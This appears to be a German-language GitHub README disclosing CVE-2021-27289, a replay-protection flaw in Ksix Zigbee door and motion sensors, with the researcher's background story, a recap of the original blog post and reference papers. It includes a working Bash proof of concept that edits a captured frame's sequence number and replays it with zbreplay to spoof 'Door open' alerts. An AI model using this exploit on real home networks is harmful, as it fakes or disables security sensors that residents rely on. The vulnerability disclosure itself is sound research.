themalwareguardian/cve-2021-27289CVE-2021-27289: Umgehung des Wiedergabeschutzes auf Ksix Zigbee-Geräten
Hallo zusammen,
Ich nehme an, das Professionellste war, dieses Repository genau so zu betiteln, wie es ist – klar, beschreibend und auf den Punkt. Aber als ich es zusammenstellte, kamen mir ein paar andere Titel in den Sinn, wie:
Wie auch immer, hier ist die Geschichte.
Während ich mich darauf vorbereitete, eine neue Sicherheitslücke zu veröffentlichen, erinnerte ich mich an etwas, an dem ich vor Jahren gearbeitet hatte – einen Fehler, den ich während meiner Abschlussarbeit bei der Erforschung von IoT-Protokollen wie Thread und Zigbee gefunden hatte. Damals schickte ich einen Bericht an MITRE, hörte aber nie zurück, also dachte ich, er sei einfach ignoriert worden.
Aus Neugier meldete ich mich wieder bei dem alten Gmail-Konto an, das ich für die Einreichung verwendet hatte … und zu meiner Überraschung sah ich, dass im Jahr 2023 – drei Jahre später – tatsächlich eine CVE zugewiesen worden war.
CVE-2021-27289, verknüpft mit der Sicherheitslücke, die ich als Student gemeldet hatte.
Warum hat es so lange gedauert? Als ich mich zum ersten Mal an den Hersteller wandte, sagten sie, sie hätten nicht genügend Personal, um es zu beheben, und wiederholten diese Ausrede ständig. Ich teilte MITRE mit, dass niemand etwas dagegen zu unternehmen schien, also nehme ich an, sie warteten – wahrscheinlich, weil das Problem ohnehin nie gepatcht werden würde.
Der Fehler betraf mehrere Zigbee-basierte IoT-Geräte von Ksix. Das Kernproblem war, dass der Wiedergabeschutzmechanismus, der in der Zigbee-Spezifikation definiert und durch den Frame-Zähler durchgesetzt wird, nicht richtig implementiert war.
Da die Geräte den Frame-Zähler nicht korrekt überprüften, konnte ein Angreifer mit dem Netzwerk kommunizieren und Pakete fälschen, indem er einfach die Sequenznummer auf einen Wert erhöhte, der höher war als der letzte vom Gerät gesehene. Dies machte es möglich, aufgezeichnete Nachrichten wiederzugeben und sie als gültig akzeptieren zu lassen – was effektiv eine Authentifizierungsumgehung darstellte.
Dieses Repository enthält alles, woran ich während meiner Abschlussarbeit gearbeitet habe:
Ksix Zigbee-IoT-Geräte sind von einer Replay-Angriff-Sicherheitslücke betroffen, die durch eine unsachgemäße Implementierung der Wiedergabeschutzmechanismen von Zigbee verursacht wird.
Die folgenden Versionen wurden getestet und als anfällig befunden. Ich habe keine späteren Versionen getestet, daher könnten auch diese betroffen sein.
Diese Produkte sind nicht mehr auf der Website des Herstellers oder auf Plattformen wie Amazon erhältlich und scheinen eingestellt worden zu sein.
Der Zigbee-Stack in den betroffenen Geräten setzt den Wiedergabeschutzmechanismus nicht richtig durch, der auf dem in der Zigbee-Spezifikation definierten Frame-Zählerfeld basiert. Dieses Feld soll sicherstellen, dass empfangene Nachrichten aktuell und nicht wiedergegeben wurden.
In dieser Implementierung wird der Frame-Zähler jedoch ignoriert oder nicht korrekt validiert. Infolgedessen kann ein Angreifer ein legitimes Zigbee-Paket erfassen, seine Sequenznummer auf einen höheren Wert erhöhen (z. B. 250) und es erneut an das Netzwerk senden.
Da die Geräte nur die Sequenznummer überprüfen, akzeptieren sie die Nachricht als neu – was gefälschte Kommunikation und unbefugte Aktionen ermöglicht, ohne dass die Authentifizierung oder Verschlüsselung gebrochen wird.
Abhängig von der Art des Geräts und seiner Integration in die Umgebung kann dies dazu führen, dass in der App, die der Benutzer ursprünglich zum Einrichten des Netzwerks verwendet hat, falsche Warnungen oder gefälschte Sensorzustände erscheinen (z. B. Bewegung erkannt, Tür geöffnet) – obwohl tatsächlich nichts passiert ist. In komplexeren Setups könnte es sogar Automatisierungsabläufe destabilisieren oder unbeabsichtigte Aktionen basierend auf gefälschten Daten auslösen.
Diese Geräte werden typischerweise mit Apps wie Tuya Smart oder ähnlichen Plattformen konfiguriert, die Benutzer in Echtzeit benachrichtigen, wenn ein Sensor ausgelöst wird – zum Beispiel, wenn eine Tür geöffnet wird oder eine Bewegung erkannt wird. Dies macht die folgenden Angriffe besonders effektiv, selbst wenn die physischen Ereignisse nie eintreten.
Obwohl die direkte Auswirkung dieser spezifischen Replay-Sicherheitslücke begrenzt ist, zeigt ein tieferes Verständnis des Protokolls – wie ich es in meiner Abschlussarbeit untersucht habe – fortgeschrittenere Angriffsszenarien, die mit minimalen Ressourcen durchgeführt werden könnten.
#!/bin/bash
function usage(){ echo -e "\nUsage: $0 [ZigbeeChannel] [SecuenceNumber] [HexDumpFile] [ShortSource] [ExtendedSource] [ShortDestination] [ShortPanId] [FCS]" echo -e "Example: $0 11 250 Open_Door_Alert_Hex_Dump 0x0001 11:ff:11:ff:11:ff:11:ff 0x0000 0x3333 0x0000 \n" echo -e "IMPORTANT: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".\n" }
function message(){ echo -e "\nProof of Concept" echo -e "There is an incorrect check of the "sequence number" field on Ksix Zigbee devices\n" echo -e "IMPORTANT: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".\n" }
function poc_playback(){ # Variables ZIGBEE_CHANNEL=$1 SECUENCE_NUMBER=$2 HEX_DUMP_FILE=$3 SHORT_SOURCE=$4 EXTENDED_SOURCE=$5 SHORT_DESTINATION=$6 SHORT_PAN_DESTINATION=$7 FRAME_CHECK_SECUENCE=$8 declare -a first_line_array declare -a second_line_array declare -a last_line_array # Change packet fields while IFS= read -r line do if [[ "$line" == "0000"* ]]; then IFS=' ' read -ra first_line_array <<< "$line" first_line_array[0]+=" " first_line_array[3]=$( printf "%x" $SECUENCE_NUMBER ) first_line_array[4]=${SHORT_PAN_DESTINATION:4:2} first_line_array[5]=${SHORT_PAN_DESTINATION:2:2} first_line_array[6]=${SHORT_DESTINATION:4:2}; first_line_array[11]=${SHORT_DESTINATION:4:2} first_line_array[7]=${SHORT_DESTINATION:2:2}; first_line_array[12]=${SHORT_DESTINATION:2:2} first_line_array[8]=${SHORT_SOURCE:4:2}; first_line_array[13]=${SHORT_SOURCE:4:2} first_line_array[9]=${SHORT_SOURCE:2:2}; first_line_array[14]=${SHORT_SOURCE:2:2} echo "${first_line_array[@]}" > Check_Secuence_Number_Incorrectly_HEX_Dump elif [[ "$line" == "0010"* ]]; then IFS=' ' read -ra second_line_array <<< "$line" second_line_array[0]+=" " second_line_array[7]=${EXTENDED_SOURCE:21:2}; second_line_array[8]=${EXTENDED_SOURCE:18:2} second_line_array[9]=${EXTENDED_SOURCE:15:2}; second_line_array[10]=${EXTENDED_SOURCE:12:2} second_line_array[11]=${EXTENDED_SOURCE:9:2}; second_line_array[12]=${EXTENDED_SOURCE:6:2} second_line_array[13]=${EXTENDED_SOURCE:3:2}; second_line_array[14]=${EXTENDED_SOURCE:0:2} echo "${second_line_array[@]}" >> Check_Secuence_Number_Incorrectly_HEX_Dump elif [[ "$line" == "0030"* ]]; then IFS=' ' read -ra last_line_array <<< "$line" last_line_array[0]+=" " last_line_array[11]=${FRAME_CHECK_SECUENCE:4:2} last_line_array[12]=${FRAME_CHECK_SECUENCE:2:2} echo "${last_line_array[@]}" >> Check_Secuence_Number_Incorrectly_HEX_Dump else echo "$line" >> Check_Secuence_Number_Incorrectly_HEX_Dump fi done < $HEX_DUMP_FILE # Hex Dump file to pcap text2pcap Check_Secuence_Number_Incorrectly_HEX_Dump Check_Secuence_Number_Incorrectly.pcap # Playback zbreplay --channel $ZIGBEE_CHANNEL --pcapfile Check_Secuence_Number_Incorrectly.pcap && echo -e "\nPacket sent to the network. Poc Completed.\n" }
function main(){ if [ $# -lt 8 ]; then echo -e "\n\t Missing arguments" usage exit else message poc_playback $1 $2 $3 $4 $5 $6 $7 $8 fi }
main $1 $2 $3 $4 $5 $6 $7 $8
#NOTE: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".
<div id='vulnerability-demo-videos'/>
### ***🎥 Demo-Videos***
- [YouTube-Video – CVE-2021-27289: Replay-Angriff auf Ksix Zigbee-Geräte (Überblick + alte Demos)]() – Bald verfügbar. Ich werde die ursprünglichen Demos, die ich 2020 aufgenommen habe, erneut hochladen – dieses Mal mit einem Kommentar, der die Einrichtung der Umgebung, den Angriffsprozess und mehr erklärt.
---
---
---
<div id='original-blog-post'/>
## ***📝 Ursprünglicher Blogbeitrag***
Der ursprüngliche Blogbeitrag wurde 2020 auf meiner damaligen persönlichen Website veröffentlicht (ah, die Nostalgie 😅). Damals habe ich eine technische Abhandlung verfasst, um meine CVE-Anfrage an MITRE zu unterstützen, den Proof-of-Concept-Exploit bei Exploit-DB einzureichen und die Demo-Videos zu veröffentlichen (die ich jetzt auf einen anderen YouTube-Kanal hochgeladen habe).
Was Sie unten finden, ist eine leicht umstrukturierte Version des ursprünglichen Beitrags.
<div id='original-blog-post-researcher'/>
### ***👤 Forscher***
Ein 22-jähriger Alejandro Vázquez Vázquez, der gerade erst begann, Cybersicherheit ernst zu nehmen – und langsam eine Leidenschaft in einen Beruf verwandelte.
<div id='original-blog-post-zigbee-basics'/>
### ***📡 Zigbee-Grundlagen***
Wenn Sie mit Zigbee nicht vertraut sind, erwarte ich nicht, dass Sie meine Abschlussarbeit oder die gesamte IEEE-802.15.4-Spezifikation durchgehen. Stattdessen empfehle ich diese hervorragenden Ressourcen, um ein solides Verständnis des Protokolls zu erlangen:
- [Kudelski Security Research - ZigBee Security: Basics (Part 1)](https://research.kudelskisecurity.com/2017/11/01/zigbee-security-basics-part-1/)
- [Kudelski Security Research - ZigBee Security: Basics (Part 2)](https://research.kudelskisecurity.com/2017/11/08/zigbee-security-basics-part-2/)
- [Kudelski Security Research - ZigBee Security: Basics (Part 3)](https://research.kudelskisecurity.com/2017/11/21/zigbee-security-basics-part-3/)
- [Payatu - Zigbee Security 101 (Architecture and Security Issues)](https://payatu.com/blog/zigbee-security-101-architecture-and-security-issues/)
- [Hong Kong Computer Emergency Response Team Coordination Centre (HKCERT) - Device (ZigBee) Security Study](https://www.hkcert.org/f/guideline/264461/3a1c8eed-012c-4b59-9d9e-971001d66c77-DLFE-14602.pdf)
<div id='original-blog-post-background-and-motivation'/>
### ***💡 Hintergrund und Motivation***
Für mein Abschlussprojekt wählte ich ein Thema, das an meiner Universität etwas unkonventionell war: Anstatt eine Anwendung zu entwickeln, konzentrierte ich mich vollständig auf die Recherche und Analyse von Kommunikationsprotokollen. Ich wählte diesen Weg, weil er mir die Möglichkeit gab, mich mit einem Bereich zu befassen, den ich damals als kritisch ansah – der Sicherheit von IoT-Geräten.
Meine Arbeit konzentrierte sich auf die Protokolle Zigbee und Thread sowie deren Grundlage: IEEE 802.15.4. Nachdem ich genügend technische Dokumentationen und wissenschaftliche Arbeiten gesichtet hatte, ging ich zu praktischen Tests mit echten Geräten über, um bekannte Schwachstellen in der Praxis zu reproduzieren und zu analysieren.
<div id='original-blog-post-early-experiments'/>
### ***🔍 Frühe Experimente***
Meine Tests begannen mit einem Zigbee-Bewegungssensor. Ich wollte sehen, wie das Gerät auf eine gefälschte Steuernachricht reagiert – genauer gesagt, auf einen Netzwerk-Neuanpassungsrahmen, der normalerweise zum Zurücksetzen von Zigbee-Konfigurationsparametern verwendet wird. Ich injizierte einen solchen Rahmen in das Netzwerk, um eine Neukonfiguration zu simulieren – und es funktionierte. Der Sensor wurde in der mobilen App (die ich zum Einrichten des Netzwerks verwendet hatte) weiterhin als „verbunden“ angezeigt, hatte aber tatsächlich die Kommunikation mit dem Koordinator verloren und musste manuell zurückgesetzt werden. Das zeigte mir, dass das Gerät bestimmte Pakete ohne starke Validierung akzeptierte.
Ermutigt durch dieses Ergebnis wandte ich mich Replay-Angriffen zu. Mit einem Sniffer erfasste ich Standard-Zigbee-Nachrichten eines Türsensors (z. B. „Tür offen“ und „Tür zu“). Nach dem Zurücksetzen des Zigbee-Netzwerks spielte ich diese Pakete ohne Änderungen erneut ab. Zu meiner Überraschung löste die mobile App Echtzeit-Benachrichtigungen aus, als ob die Tür gerade geöffnet oder geschlossen worden wäre – obwohl ich lediglich zuvor aufgezeichnete Nachrichten wiederholte.
Dies bestätigte, dass die Schutzmechanismen zur Verhinderung von Replay-Angriffen entweder nicht implementiert waren oder auf diesen Geräten nicht ordnungsgemäß funktionierten.
<div id='original-blog-post-discovery'/>
### ***💥 Entdeckung***
An diesem Punkt wollte ich besser verstehen, warum das erneute Abspielen alter Pakete funktionierte. Zigbee definiert zwei wichtige Felder, um diese Art von Angriff zu verhindern: den Frame-Zähler, der mit jeder gesendeten Nachricht inkrementiert wird, und die Sequenznummer, die zur Erkennung von Duplikaten dient.
Also begann ich, mit beiden zu experimentieren.
Zunächst erfasste ich etwa 50 gültige Pakete und spielte sie in das Netzwerk ein. Ich erhielt mehrere Benachrichtigungen, genau wie zuvor. Dann änderte ich den Frame-Zähler, setzte ihn in jedem Paket auf einen viel höheren Wert und versuchte es erneut. Diesmal passierte nichts – keine Benachrichtigungen. Das ließ mich vermuten, dass eine Art Prüfung stattfand, aber inkonsistent.
Um tiefer zu graben, setzte ich das Zigbee-Netzwerk erneut zurück und konzentrierte mich anstelle des Frame-Zählers auf die Sequenznummer. Ich spielte dieselben aufgezeichneten Nachrichten erneut ab, erhöhte jedoch die Sequenznummer mit jedem Paket schrittweise, um das normale Verhalten eines Geräts zu simulieren.
Es funktionierte.
In der mobilen App tauchten wieder Benachrichtigungen auf. Da wurde mir klar, dass die Geräte wahrscheinlich nur die Sequenznummer verwendeten, um zu bestimmen, ob ein Paket neu war – und den Frame-Zähler völlig ignorierten, also genau das Feld, das explizit zur Verhinderung von Replay-Angriffen entwickelt wurde.
Diese Schwachstelle bedeutete, dass ich – solange ich Pakete mit neueren Sequenznummern sendete – weiterhin gefälschte Nachrichten in das Netzwerk injizieren konnte, die von den Geräten als legitim akzeptiert wurden.
Aufgrund einer schlechten Implementierung – oder vielleicht begrenzter Verarbeitungskapazitäten des Koordinators (Zigbee-Gateway) – konnte ich also, einfach indem ich mich in Funkreichweite des Netzwerks befand, zuvor aufgezeichnete Nachrichten wie „Tür offen“ oder „Tür zu“ erneut abspielen. Diese gefälschten Ereignisse erschienen dann in der mobilen App genau so, als wären sie gerade in der Realität passiert.
<div id='original-blog-post-exploitation'/>
### ***🧨 Ausnutzung***
Die Ausnutzung der Schwachstelle ist trivial:
Sie erfassen einen gültigen Zigbee-Frame, ändern die Sequenznummer auf einen höheren Wert und spielen ihn erneut ab. Das empfangende Gerät akzeptiert die Nachricht, und der Benutzer erhält eine Echtzeit-Benachrichtigung in seiner App, da er glaubt, es habe eine tatsächliche Aktivität stattgefunden.
In einigen Tests konnte ich sogar die Gerätekommunikation stören, sodass Sensoren in der App als „online“ angezeigt wurden, aber nicht mehr reagierten – was in physischen Sicherheitsszenarien gefährlich sein könnte.
<div id='original-blog-post-lab-setup'/>
### ***🔬 Laboraufbau***
Die Tests wurden 2020 mit einem kleinen Labor von Zigbee-basierten IoT-Geräten des Herstellers Ksix durchgeführt. Die folgenden Modelle und Firmware-Versionen wurden damals als anfällig bestätigt:
- Zigbee-Gateway-Modul – v1.0.3
- Gateway-Hauptmodul – v1.1.2
- Türsensor – v1.0.7
- PIR-Bewegungssensor – v1.0.12
Für die Durchführung der Angriffe und den Zigbee-Datenverkehr verwendete ich:
- APImote, einen USB-Hardware-Sniffer für IEEE-802.15.4-Netzwerke
- KillerBee-Framework, zum Erfassen, Injizieren und Analysieren von Paketen
Dieser Aufbau ermöglichte es mir, reale Interaktionen zu simulieren, Datenflüsse zu analysieren und sowohl Denial-of-Service- als auch Replay-Angriffsszenarien in einer kontrollierten Umgebung zu testen.
<div id='original-blog-post-related-research'/>
### ***📚 Verwandte Forschung***
An dieser Stelle danke ich allen Forschern, die mir den Weg geebnet haben und aus deren Veröffentlichungen ich die häufigsten Angriffsvektoren und Schwachstellen dieser Art von IoT-Netzwerken gelernt habe:
- [Fan, X., Susan, F., Long, W., & Li, S. (2017). Security Analysis of Zigbee.](https://www.semanticscholar.org/paper/Security-Analysis-of-Zigbee-Fan-Susan/3d1d5a51d05cde08b6e52afd5bd7bc325b487a10?p2df)
- [Zillner, T. (2016). ZigBee Exploited: The good, the bad and the ugly.Magdeburger Journal zur Sicher-heitsforschung,12, 699–704.](https://www.blackhat.com/docs/us-15/materials/us-15-Zillner-ZigBee-Exploited-The-Good-The-Bad-And-The-Ugly.pdf)
- [Sokullu, R., Korkmaz, I., Dagdeviren, O., Mitseva, A., & Prasad, N. R. (2007). An Investigation on IEEE 802.15.4 MAC Layer Attacks. In Proceedings of The 10th International Symposium on Wireless Personal Multimedia Communications (WPMC) 2007 (pp. 1019-1023).](https://www.researchgate.net/publication/4373276_On_the_IEEE_802154_MAC_layer_attacks_GTS_attack)
- [R. Sokullu, O. Dagdeviren and I. Korkmaz, "On the IEEE 802.15.4 MAC Layer Attacks: GTS Attack," 2008 Second International Conference on Sensor Technologies and Applications (sensorcomm 2008), Cap Esterel, 2008, pp. 673-678, DOI: 10.1109/SENSORCOMM.2008.75.](https://ieeexplore.ieee.org/document/4622738)
- [M. S. Wara and Q. Yu, "New Replay Attacks on ZigBee Devices for Internet-of-Things (IoT) Applications," 2020 IEEE International Conference on Embedded Software and Systems (ICESS), Shanghai, China, 2020, pp. 1-6, DOI: 10.1109/ICESS49830.2020.9301593.](https://ieeexplore.ieee.org/document/9301593)
- [Olawumi, Olayemi & Haataja, Keijo & Asikainen, M. & Vidgren, Niko & Toivanen, Pekka. (2014). Three Practical Attacks Against ZigBee Security: Attack Scenario Definitions, Practical Experiments, Countermeasures, and Lessons Learned.. 2014 14th International Conference on Hybrid Intelligent Systems, HIS 2014. DOI: 10.1109/HIS.2014.7086198.](https://www.researchgate.net/publication/276272068_Three_Practical_Attacks_Against_ZigBee_Security_Attack_Scenario_Definitions_Practical_Experiments_Countermeasures_and_Lessons_Learned)